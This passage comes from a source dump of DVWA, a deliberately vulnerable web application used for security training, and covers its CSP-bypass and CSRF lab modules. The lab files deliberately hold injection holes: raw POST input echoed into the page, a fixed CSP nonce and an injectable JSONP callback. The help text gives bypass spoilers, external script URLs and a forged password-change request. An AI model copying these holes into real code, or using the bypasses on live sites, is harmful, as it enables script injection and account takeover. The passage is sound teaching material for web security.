(\n\t\t\t\t\t\t\t\t\t\"status\" => 525,\n\t\t\t\t\t\t\t\t\t\"message\" => \"User not found\"\n\t\t\t\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$ret = array (\n\t\t\t\t\t\t\t\t\"status\" => 527,\n\t\t\t\t\t\t\t\t\"message\" => \"No user specified\"\n\t\t\t\t\t\t\t);\n\t\t\t}\n\t\t} catch (Exception $exp) {\n\t\t\t$ret = array (\n\t\t\t\t\t\t\t\"status\" => 526,\n\t\t\t\t\t\t\t\"message\" => \"Unable to decrypt token\",\n\t\t\t\t\t\t\t\"extra\" => $exp->getMessage()\n\t\t\t\t\t\t);\n\t\t}\n\t}\n\treturn json_encode ($ret);\n}\n"
  },
  {
    "path": "vulnerabilities/cryptography/source/xor_theory.php",
    "content": "<?php\n\nfunction xor_this($cleartext, $key) {\n    // Our output text\n    $outText = '';\n\n    // Iterate through each character\n    for($i=0; $i<strlen($cleartext);) {\n        for($j=0; ($j<strlen($key) && $i<strlen($cleartext)); $j++,$i++)\n        {\n            $outText .= $cleartext[$i] ^ $key[$j];\n            //echo 'i=' . $i . ', ' . 'j=' . $j . ', ' . $outText{$i} . '<br />'; // For debugging\n        }\n    }\n    return $outText;\n}\n\n$clear = \"hello world, what a great day\";\n$key = \"wachtwoord\";\n\nprint \"Clear text\\n\" . $clear . \"\\n\";\nprint \"\\n\";\n\n$encoded =  (xor_this($clear, $key));\n$b64_encoded = base64_encode ($encoded);\nprint \"Encoded text\\n\";\nvar_dump ($b64_encoded);\nprint \"\\n\";\n\n$b64_decoded = base64_decode ($b64_encoded);\n$decoded = xor_this($b64_decoded, $key);\nprint \"Decoded text\\n\";\nvar_dump ($decoded);\nprint \"\\n\";\n\n?>\n"
  },
  {
    "path": "vulnerabilities/csp/help/help.php",
    "content": "<div class=\"body_padded\">\r\n\t<h1>Help - Content Security Policy (CSP) Bypass</h1>\r\n\r\n\t<div id=\"code\">\r\n\t<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">\r\n\t<tr>\r\n\t<td><div id=\"code\">\r\n\t\t<h3>About</h3>\r\n\t\t<p>Content Security Policy (CSP) is used to define where scripts and other resources can be loaded or executed from. This module will walk you through ways to bypass the policy based on common mistakes made by developers.</p>\r\n\t\t<p>None of the vulnerabilities are actual vulnerabilities in CSP, they are vulnerabilities in the way it has been implemented.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Objective</h3>\r\n\t\t<p>Bypass Content Security Policy (CSP) and execute JavaScript in the page.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Low Level</h3>\r\n\t\t<p>Examine the policy to find all the sources that can be used to host external script files.</p>\r\n\t\t<p>This exercise was originally written to work with Pastebin, then updated for Hastebin, then Toptal, but all these stopped working as they set various headers that prevent the browser executing the JavaScript once it has downloaded it. Since then two new services have been identified, UNPKG and jsDelivr, the first is a proxy for NPM packages, the second one for GitHub files. They are both designed to allow raw access to any files and do not set any headers that will stop injection.\r\n\t\t</p>\r\n\t\t<p>I have also put a number of files on my site which help to demonstrate how different headers and file extensions can block execution.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">\r\nhttps://cdn.jsdelivr.net/gh/digininja/csp_bypass/alert.js - Using jsDelivr to server a JavaScript file stored on GitHub.\r\nhttps://unpkg.com/@digininja/csp_bypass@1.0.0/index.js - Using UNPKG to access a JavaScript file in an NPM package.\r\nhttps://digi.ninja/dvwa/alert.js - Will work, this is a normal JavaScript file served with the correct headers.\r\nhttps://digi.ninja/dvwa/alert.txt - This will not work as it has the wrong content type set by the web server due to its file extension.\r\nhttps://digi.ninja/dvwa/cookie.js - This will work and will show your cookies\r\nhttps://digi.ninja/dvwa/forced_download.js - As the name says, the server sets the \"Content-Disposition: attachment\" header for this to force the browser to download it rather than execute it.\r\nhttps://digi.ninja/dvwa/wrong_content_type.js - This will not work as the web server ignores the file extension and forces the content type to get set as \"plain/text\" which prevents the browser executing it.</span></pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Medium Level</h3>\r\n\t\t<p>The CSP policy tries to use a nonce to prevent inline scripts from being added by attackers.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">Examine the nonce and see how it varies (or doesn't).</span></pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>High Level</h3>\r\n\t\t<p>The page makes a JSONP call to source/jsonp.php passing the name of the function to callback to, you need to modify the jsonp.php script to change the callback function.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">The JavaScript on the page will execute whatever is returned by the page, changing this to your own code will execute that instead</span></pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Impossible Level</h3>\r\n\t\t<p>\r\n\t\t\tThis level is an update of the high level where the JSONP call has its callback function hardcoded and the CSP policy is locked down to only allow external scripts.\r\n\t\t</p>\r\n\t</div></td>\r\n\t</tr>\r\n\t</table>\r\n\r\n\t</div>\r\n\r\n\t<br />\r\n\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://content-security-policy.com/', \"Content Security Policy Reference\" ); ?></p>\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP', \"Mozilla Developer Network - CSP: script-src\"); ?></p>\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://blog.mozilla.org/security/2014/10/04/csp-for-the-web-we-have/', \"Mozilla Security Blog - CSP for the web we have\" ); ?></p>\r\n</div>\r\n\r\n"
  },
  {
    "path": "vulnerabilities/csp/index.php",
    "content": "<?php\n\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\n\ndvwaPageStartup( array( 'authenticated' ) );\n\n$page = dvwaPageNewGrab();\n$page[ 'title' ]   = 'Vulnerability: Content Security Policy (CSP) Bypass' . $page[ 'title_separator' ].$page[ 'title' ];\n$page[ 'page_id' ] = 'csp';\n$page[ 'help_button' ]   = 'csp';\n$page[ 'source_button' ] = 'csp';\n\ndvwaDatabaseConnect();\n\n$vulnerabilityFile = '';\nswitch( dvwaSecurityLevelGet() ) {\n\tcase 'low':\n\t\t$vulnerabilityFile = 'low.php';\n\t\tbreak;\n\tcase 'medium':\n\t\t$vulnerabilityFile = 'medium.php';\n\t\tbreak;\n\tcase 'high':\n\t\t$vulnerabilityFile = 'high.php';\n\t\tbreak;\n\tdefault:\n\t\t$vulnerabilityFile = 'impossible.php';\n\t\tbreak;\n}\n\n$page[ 'body' ] = <<<EOF\n<div class=\"body_padded\">\n\t<h1>Vulnerability: Content Security Policy (CSP) Bypass</h1>\n\n\t<div class=\"vulnerable_code_area\">\nEOF;\n \nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/csp/source/{$vulnerabilityFile}\";\n\n$page[ 'body' ] .= <<<EOF\n\t</div>\nEOF;\n\n$page[ 'body' ] .= \"\n\t<h2>More Information</h2>\n\t<ul>\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://content-security-policy.com/', \"Content Security Policy Reference\" ) . \"</li>\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP', \"Mozilla Developer Network - CSP: script-src\") . \"</li>\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://blog.mozilla.org/security/2014/10/04/csp-for-the-web-we-have/', \"Mozilla Security Blog - CSP for the web we have\" ) . \"</li>\n\t</ul>\n\t<p><i>Module developed by <a href='https://twitter.com/digininja'>Digininja</a>.</i></p>\n</div>\\n\";\n\ndvwaHtmlEcho( $page );\n\n?>\n"
  },
  {
    "path": "vulnerabilities/csp/source/high.js",
    "content": "function clickButton() {\n    var s = document.createElement(\"script\");\n    s.src = \"source/jsonp.php?callback=solveSum\";\n    document.body.appendChild(s);\n}\n\nfunction solveSum(obj) {\n\tif (\"answer\" in obj) {\n\t\tdocument.getElementById(\"answer\").innerHTML = obj['answer'];\n\t}\n}\n\nvar solve_button = document.getElementById (\"solve\");\n\nif (solve_button) {\n\tsolve_button.addEventListener(\"click\", function() {\n\t\tclickButton();\n\t});\n}\n"
  },
  {
    "path": "vulnerabilities/csp/source/high.php",
    "content": "<?php\n$headerCSP = \"Content-Security-Policy: script-src 'self';\";\n\nheader($headerCSP);\n\n?>\n<?php\nif (isset ($_POST['include'])) {\n$page[ 'body' ] .= \"\n\t\" . $_POST['include'] . \"\n\";\n}\n$page[ 'body' ] .= '\n<form name=\"csp\" method=\"POST\">\n\t<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>\n\t<p>1+2+3+4+5=<span id=\"answer\"></span></p>\n\t<input type=\"button\" id=\"solve\" value=\"Solve the sum\" />\n</form>\n\n<script src=\"source/high.js\"></script>\n';\n\n"
  },
  {
    "path": "vulnerabilities/csp/source/impossible.js",
    "content": "function clickButton() {\n    var s = document.createElement(\"script\");\n    s.src = \"source/jsonp_impossible.php\";\n    document.body.appendChild(s);\n}\n\nfunction solveSum(obj) {\n\tif (\"answer\" in obj) {\n\t\tdocument.getElementById(\"answer\").innerHTML = obj['answer'];\n\t}\n}\n\nvar solve_button = document.getElementById (\"solve\");\n\nif (solve_button) {\n\tsolve_button.addEventListener(\"click\", function() {\n\t\tclickButton();\n\t});\n}\n"
  },
  {
    "path": "vulnerabilities/csp/source/impossible.php",
    "content": "<?php\n\n$headerCSP = \"Content-Security-Policy: script-src 'self';\";\n\nheader($headerCSP);\n\n?>\n<?php\nif (isset ($_POST['include'])) {\n$page[ 'body' ] .= \"\n\t\" . $_POST['include'] . \"\n\";\n}\n$page[ 'body' ] .= '\n<form name=\"csp\" method=\"POST\">\n\t<p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>\n\t<p>1+2+3+4+5=<span id=\"answer\"></span></p>\n\t<input type=\"button\" id=\"solve\" value=\"Solve the sum\" />\n</form>\n\n<script src=\"source/impossible.js\"></script>\n';\n\n"
  },
  {
    "path": "vulnerabilities/csp/source/jsonp.php",
    "content": "<?php\nheader(\"Content-Type: application/json; charset=UTF-8\");\n\nif (array_key_exists (\"callback\", $_GET)) {\n\t$callback = $_GET['callback'];\n} else {\n\treturn \"\";\n}\n\n$outp = array (\"answer\" => \"15\");\n\necho $callback . \"(\".json_encode($outp).\")\";\n?>\n"
  },
  {
    "path": "vulnerabilities/csp/source/jsonp_impossible.php",
    "content": "<?php\nheader(\"Content-Type: application/json; charset=UTF-8\");\n\n$outp = array (\"answer\" => \"15\");\n\necho \"solveSum (\".json_encode($outp).\")\";\n?>\n"
  },
  {
    "path": "vulnerabilities/csp/source/low.php",
    "content": "<?php\n\n$headerCSP = \"Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com unpkg.com cdn.jsdelivr.net digi.ninja ;\"; // allows js from various trusted locations\n\nheader($headerCSP);\n\n# These might work if you can't create your own for some reason\n# https://cdn.jsdelivr.net/gh/digininja/csp_bypass/alert.js\n# https://unpkg.com/@digininja/csp_bypass@1.0.0/index.js\n\n?>\n<?php\nif (isset ($_POST['include'])) {\n$page[ 'body' ] .= \"\n\t<script src='\" . $_POST['include'] . \"'></script>\n\";\n}\n$page[ 'body' ] .= '\n<form name=\"csp\" method=\"POST\">\n\t<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>\n\t<input size=\"50\" type=\"text\" name=\"include\" value=\"\" id=\"include\" />\n\t<input type=\"submit\" value=\"Include\" />\n</form>\n<p>\n\tYou will probably need to do some reading up on what some of the domains allowed by the CSP do and how they can be used.\n</p>\n';\n"
  },
  {
    "path": "vulnerabilities/csp/source/medium.php",
    "content": "<?php\n\n$headerCSP = \"Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';\";\n\nheader($headerCSP);\n\n// Disable XSS protections so that inline alert boxes will work\nheader (\"X-XSS-Protection: 0\");\n\n# <script nonce=\"TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=\">alert(1)</script>\n\n?>\n<?php\nif (isset ($_POST['include'])) {\n$page[ 'body' ] .= \"\n\t\" . $_POST['include'] . \"\n\";\n}\n$page[ 'body' ] .= '\n<form name=\"csp\" method=\"POST\">\n\t<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>\n\t<input size=\"50\" type=\"text\" name=\"include\" value=\"\" id=\"include\" />\n\t<input type=\"submit\" value=\"Include\" />\n</form>\n';\n"
  },
  {
    "path": "vulnerabilities/csrf/help/help.php",
    "content": "<div class=\"body_padded\">\r\n\t<h1>Help - Cross Site Request Forgery (CSRF)</h1>\r\n\r\n\t<div id=\"code\">\r\n\t<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">\r\n\t<tr>\r\n\t<td><div id=\"code\">\r\n\t\t<h3>About</h3>\r\n\t\t<p>CSRF is an attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated.\r\n\t\t\tWith a little help of social engineering (such as sending a link via email/chat), an attacker may force the users of a web application to execute actions of\r\n\t\t\tthe attacker's choosing.</p>\r\n\r\n\t\t<p>A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is\r\n\t\t\tthe administrator account, this can compromise the entire web application.</p>\r\n\r\n\t\t<p>This attack may also be called \"XSRF\", similar to \"Cross Site scripting (XSS)\", and they are often used together.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Objective</h3>\r\n\t\t<p>Your task is to make the current user change their own password, without them knowing about their actions, using a CSRF attack.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Low Level</h3>\r\n\t\t<p>There are no measures in place to protect against this attack. This means a link can be crafted to achieve a certain action (in this case, change the current users password).\r\n\t\t\tThen with some basic social engineering, have the target click the link (or just visit a certain page), to trigger the action.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">?password_new=password&password_conf=password&Change=Change</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Medium Level</h3>\r\n\t\t<p>For the medium level challenge, there is a check to see where the last requested page came from. The developer believes if it matches the current domain,\r\n\t\t\tit must of come from the web application so it can be trusted.</p>\r\n\t\t<p>It may be required to link in multiple vulnerabilities to exploit this vector, such as reflective XSS.</p>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>High Level</h3>\r\n\t\t<p>In the high level, the developer has added an \"anti Cross-Site Request Forgery (CSRF) token\". In order by bypass this protection method, another vulnerability will be required.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">e.g. Javascript is a executed on the client side, in the browser</span>.</pre>\r\n\r\n\t\t<h4>Bonus Challenge</h4>\r\n\t\t<p>At this level, the site will also accept a change password request as a JSON object in the following format:</p>\r\n\t\t<pre><code>{\"password_new\":\"a\",\"password_conf\":\"a\",\"Change\":1}</code></pre>\r\n\t\t<p>When done this way, the CSRF token must be passed as a header named <code>user-token</code>.</p>\r\n\r\n\t\t<p>Here is a sample request:</p>\r\n\t\t<pre><code><span class=\"spoiler\">POST /vulnerabilities/csrf/ HTTP/1.1\r\nHost: dvwa.test\r\nContent-Length: 51\r\nContent-Type: application/json\r\nCookie: PHPSESSID=0hr9ikmo07thlcvjv3u3pkfeni; security=high\r\nuser-token: 026d0caed93471b507ed460ebddbd096\r\n\r\n{\"password_new\":\"a\",\"password_conf\":\"a\",\"Change\":1}</span></pre></code>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Impossible Level</h3>\r\n\t\t<p>At this level, the site requires the user to give their current password as well as the new password. As the attacker does not know this, the site is protected against CSRF style attacks.</p>\r\n\t</div></td>\r\n\t</tr>\r\n\t</table>\r\n\r\n\t</div>\r\n\r\n\t<br />\r\n\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/csrf' ); ?></p>\r\n</div>\r\n"
  },
  {
    "path": "vulnerabilities/csrf/index.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ]   = 'Vulnerability: Cross Site Request Forgery (CSRF)' . $page[ 'title_separator' ].$page[ 'title' ];\r\n$page[ 'page_id' ] = 'csrf';\r\n$page[ 'help_button' ]   = 'csrf';\r\n$page[ 'source_button' ] = 'csrf';\r\n\r\ndvwaDatabaseConnect();\r\n\r\n$vulnerabilityFile = '';\r\nswitch( dvwaSecurityLevelGet() ) {\r\n\tcase 'low':\r\n\t\t$vulnerabilityFile = 'low.php';\r\n\t\tbreak;\r\n\tcase 'medium':\r\n\t\t$vulnerabilityFile = 'medium.php';\r\n\t\tbreak;\r\n\tcase 'high':\r\n\t\t$vulnerabilityFile = 'high.php';\r\n\t\tbreak;\r\n\tdefault:\r\n\t\t$vulnerabilityFile = 'impossible.php';\r\n\t\tbreak;\r\n}\r\n\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/csrf/source/{$vulnerabilityFile}\";\r\n\r\n$testCredentials = \"\r\n <button onclick=\\\"testFunct()\\\">Test Credentials</button><br /><br />\r\n <script>\r\nfunction testFunct() {\r\n  window.open(\\\"\" . DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/csrf/test_credentials.php\\\", \\\"_blank\\\", \r\n  \\\"toolbar=yes,scrollbars=yes,resizable=yes,top=500,left=500,width=600,height=400\\\");\r\n}\r\n</script>\r\n\";\r\n\r\n$page[ 'body' ] .= \"\r\n<div class=\\\"body_padded\\\">\r\n\t<h1>Vulnerability: Cross Site Request Forgery (CSRF)</h1>\r\n\r\n\t<div class=\\\"vulnerable_code_area\\\">\r\n\t\t<h3>Change your admin password:</h3>\r\n\t\t<br /> \r\n\t\t<div id=\\\"test_credentials\\\">\r\n\t\t\t\".$testCredentials .\"\r\n\t\t</div><br />\r\n\t\t<form action=\\\"#\\\" method=\\\"GET\\\">\";\r\n\r\nif( $vulnerabilityFile == 'impossible.php' ) {\r\n\t$page[ 'body' ] .= \"\r\n\t\t\tCurrent password:<br />\r\n\t\t\t<input type=\\\"password\\\" AUTOCOMPLETE=\\\"off\\\" name=\\\"password_current\\\"><br />\";\r\n}\r\n\r\n$page[ 'body' ] .= \"\r\n\t\t\tNew password:<br />\r\n\t\t\t<input type=\\\"password\\\" AUTOCOMPLETE=\\\"off\\\" name=\\\"password_new\\\"><br />\r\n\t\t\tConfirm new password:<br />\r\n\t\t\t<input type=\\\"password\\\" AUTOCOMPLETE=\\\"off\\\" name=\\\"password_conf\\\"><br />\r\n\t\t\t<br />\r\n\t\t\t<input type=\\\"submit\\\" value=\\\"Change\\\" name=\\\"Change\\\">\\n\";\r\n\r\nif( $vulnerabilityFile == 'high.php' || $vulnerabilityFile == 'impossible.php' )\r\n\t$page[ 'body' ] .= \"\t\t\t\" . tokenField();\r\n\r\n$page[ 'body' ] .= \"\r\n\t\t</form>\r\n\t\t{$html}\r\n\t</div>\r\n\t\t<p>Note: Browsers are starting to default to setting the <a href='https://web.dev/samesite-cookies-explained/'>SameSite cookie</a> flag to Lax, and in doing so are killing off some types of CSRF attacks. When they have completed their mission, this lab will not work as originally expected.</p>\r\n\t\t<p>Announcements:</p>\r\n\t\t<ul>\r\n\t\t\t<li><a href='https://chromestatus.com/feature/5088147346030592'>Chromium</a></li>\r\n\t\t\t<li><a href='https://docs.microsoft.com/en-us/microsoft-edge/web-platform/site-impacting-changes'>Edge</a></li>\r\n\t\t\t<li><a href='https://hacks.mozilla.org/2020/08/changes-to-samesite-cookie-behavior/'>Firefox</a></li>\r\n\t\t</ul>\r\n\t\t<p>As an alternative to the normal attack of hosting the malicious URLs or code on a separate host, you could try using other vulnerabilities in this app to store them, the Stored XSS lab would be a good place to start.</p>\r\n\r\n\t<h2>More Information</h2>\r\n\t<ul>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/csrf' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.cgisecurity.com/csrf-faq.html' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Cross-site_request_forgery ' ) . \"</li>\r\n\t</ul>\r\n</div>\\n\";\r\n\r\ndvwaHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/csrf/source/high.php",
    "content": "<?php\r\n\r\n$change = false;\r\n$request_type = \"html\";\r\n$return_message = \"Request Failed\";\r\n\r\nif ($_SERVER['REQUEST_METHOD'] == \"POST\" && array_key_exists (\"CONTENT_TYPE\", $_SERVER) && $_SERVER['CONTENT_TYPE'] == \"application/json\") {\r\n\t$data = json_decode(file_get_contents('php://input'), true);\r\n\t$request_type = \"json\";\r\n\tif (array_key_exists(\"HTTP_USER_TOKEN\", $_SERVER) &&\r\n\t\tarray_key_exists(\"password_new\", $data) &&\r\n\t\tarray_key_exists(\"password_conf\", $data) &&\r\n\t\tarray_key_exists(\"Change\", $data)) {\r\n\t\t$token = $_SERVER['HTTP_USER_TOKEN'];\r\n\t\t$pass_new = $data[\"password_new\"];\r\n\t\t$pass_conf = $data[\"password_conf\"];\r\n\t\t$change = true;\r\n\t}\r\n} else {\r\n\tif (array_key_exists(\"user_token\", $_REQUEST) &&\r\n\t\tarray_key_exists(\"password_new\", $_REQUEST) &&\r\n\t\tarray_key_exists(\"password_conf\", $_REQUEST) &&\r\n\t\tarray_key_exists(\"Change\", $_REQUEST)) {\r\n\t\t$token = $_REQUEST[\"user_token\"];\r\n\t\t$pass_new = $_REQUEST[\"password_new\"];\r\n\t\t$pass_conf = $_REQUEST[\"password_conf\"];\r\n\t\t$change = true;\r\n\t}\r\n}\r\n\r\nif ($change) {\r\n\t// Check Anti-CSRF token\r\n\tcheckToken( $token, $_SESSION[ 'session_token' ], 'index.php' );\r\n\r\n\t// Do the passwords match?\r\n\tif( $pass_new == $pass_conf ) {\r\n\t\t// They do!\r\n\t\t$pass_new = mysqli_real_escape_string ($GLOBALS[\"___mysqli_ston\"], $pass_new);\r\n\t\t$pass_new = md5( $pass_new );\r\n\r\n\t\t// Update the database\r\n\t\t$current_user = dvwaCurrentUser();\r\n\t\t$insert = \"UPDATE `users` SET password = '\" . $pass_new . \"' WHERE user = '\" . $current_user . \"';\";\r\n\t\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $insert );\r\n\r\n\t\t// Feedback for the user\r\n\t\t$return_message = \"Password Changed.\";\r\n\t}\r\n\telse {\r\n\t\t// Issue with passwords matching\r\n\t\t$return_message = \"Passwords did not match.\";\r\n\t}\r\n\r\n\tmysqli_close($GLOBALS[\"___mysqli_ston\"]);\r\n\r\n\tif ($request_type == \"json\") {\r\n\t\tgenerateSessionToken();\r\n\t\theader (\"Content-Type: application/json\");\r\n\t\tprint json_encode (array(\"Message\" =>$return_message));\r\n\t\texit;\r\n\t} else {\r\n\t\t$html .= \"<pre>\" . $return_message . \"</pre>\";\r\n\t}\r\n}\r\n\r\n// Generate Anti-CSRF token\r\ngenerateSessionToken();\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/csrf/source/impossible.php",
    "content": "<?php\r\n\r\nif( isset( $_GET[ 'Change' ] ) ) {\r\n\t// Check Anti-CSRF token\r\n\tcheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );\r\n\r\n\t// Get input\r\n\t$pass_curr = $_GET[ 'password_current' ];\r\n\t$pass_new  = $_GET[ 'password_new' ];\r\n\t$pass_conf = $_GET[ 'password_conf' ];\r\n\r\n\t// Sanitise current password input\r\n\t$pass_curr = stripslashes( $pass_curr );\r\n\t$pass_curr = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $pass_curr ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\t$pass_curr = md5( $pass_curr );\r\n\r\n\t// Check that the current password is correct\r\n\t$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );\r\n\t$current_user = dvwaCurrentUser();\r\n\t$data->bindParam( ':user', $current_user, PDO::PARAM_STR );\r\n\t$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );\r\n\t$data->execute();\r\n\r\n\t// Do both new passwords match and does the current password match the user?\r\n\tif( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {\r\n\t\t// It does!\r\n\t\t$pass_new = stripslashes( $pass_new );\r\n\t\t$pass_new = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $pass_new ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\t\t$pass_new = md5( $pass_new );\r\n\r\n\t\t// Update database with new password\r\n\t\t$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );\r\n\t\t$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );\r\n\t\t$current_user = dvwaCurrentUser();\r\n\t\t$data->bindParam( ':user', $current_user, PDO::PARAM_STR );\r\n\t\t$data->execute();\r\n\r\n\t\t// Feedback for the user\r\n\t\t$html .= \"<pre>Password Changed.</pre>\";\r\n\t}\r\n\telse {\r\n\t\t// Issue with passwords matching\r\n\t\t$html .= \"<pre>Passwords did not match or current password incorrect.</pre>\";\r\n\t}\r\n}\r\n\r\n// Generate Anti-CSRF token\r\ngenerateSessionToken();\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/csrf/source/low.php",
    "content": "<?php\r\n\r\nif( isset( $_GET[ 'Change' ] ) ) {\r\n\t// Get input\r\n\t$pass_new  = $_GET[ 'password_new' ];\r\n\t$pass_conf = $_GET[ 'password_conf' ];\r\n\r\n\t// Do the passwords match?\r\n\tif( $pass_new == $pass_conf ) {\r\n\t\t// They do!\r\n\t\t$pass_new = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $pass_new ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\t\t$pass_new = md5( $pass_new );\r\n\r\n\t\t// Update the database\r\n\t\t$current_user = dvwaCurrentUser();\r\n\t\t$insert = \"UPDATE `users` SET password = '$pass_new' WHERE user = '\" . $current_user . \"';\";\r\n\t\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );\r\n\r\n\t\t// Feedback for the user\r\n\t\t$html .= \"<pre>Password Changed.</pre>\";\r\n\t}\r\n\telse {\r\n\t\t// Issue with passwords matching\r\n\t\t$html .= \"<pre>Passwords did not match.</pre>\";\r\n\t}\r\n\r\n\t((is_null($___mysqli_res = mysqli_close($GLOBALS[\"___mysqli_ston\"]))) ? false : $___mysqli_res);\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/csrf/source/medium.php",
    "content": "<?php\r\n\r\nif( isset( $_GET[ 'Change' ] ) ) {\r\n\t// Checks to see where the request came from\r\n\tif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {\r\n\t\t// Get input\r\n\t\t$pass_new  = $_GET[ 'password_new' ];\r\n\t\t$pass_conf = $_GET[ 'password_conf' ];\r\n\r\n\t\t// Do the passwords match?\r\n\t\tif( $pass_new == $pass_conf ) {\r\n\t\t\t// They do!\r\n\t\t\t$pass_new = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $pass_new ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\t\t\t$pass_new = md5( $pass_new );\r\n\r\n\t\t\t// Update the database\r\n\t\t\t$current_user = dvwaCurrentUser();\r\n\t\t\t$insert = \"UPDATE `users` SET password = '$pass_new' WHERE user = '\" . $current_user . \"';\";\r\n\t\t\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );\r\n\r\n\t\t\t// Feedback for the user\r\n\t\t\t$html .= \"<pre>Password Changed.</pre>\";\r\n\t\t}\r\n\t\telse {\r\n\t\t\t// Issue with passwords matching\r\n\t\t\t$html .= \"<pre>Passwords did not match.</pre>\";\r\n\t\t}\r\n\t}\r\n\telse {\r\n\t\t// Didn't come 